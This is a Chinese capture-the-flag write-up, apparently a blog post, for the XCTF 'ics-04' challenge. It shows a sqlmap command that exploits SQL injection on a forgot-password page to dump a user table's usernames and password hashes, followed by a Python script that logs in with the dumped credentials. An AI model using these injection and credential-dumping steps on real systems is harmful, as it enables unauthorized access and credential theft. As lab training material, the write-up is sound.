XCTF ics-04

根据题目提示在登录及注册中有漏洞

首先进入登录界面,寻求漏洞,BP抓包,发现为明文传输,第一个想到爆破,但是爆破结果不尽人意,没有任何用出;接下来进行SQL注入尝试,但是俩个界面均没有POST注入漏洞,正要放弃时,发现在登录界面还有一个忘记密码界面,尝试在该界面进行SQL注入,

python2 sqlmap.py -r post.txt --dump -C "username,password" -T "user" -D "cetc004"

放进sqlmap直接跑出user表内的内容,如下图所示

其中admin为测试时注册数据,第一个username为自身信息,后password则为其密码,但是该md5加密后的数据无法在寻常网站上解密,故,构造一个python的请求报文脚本,来获取flag

import requests

url = 'http://111.198.29.45:54376/login.php'

username = 'c3tlwDmIn23' 
password = '2f8667f381ff50ced6a3edc259260ba9'

payloads = { 'username':username, 'password':password }

r = requests.post(url, data = payloads) 

print (r.text)

获取到的flag如下图所示

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值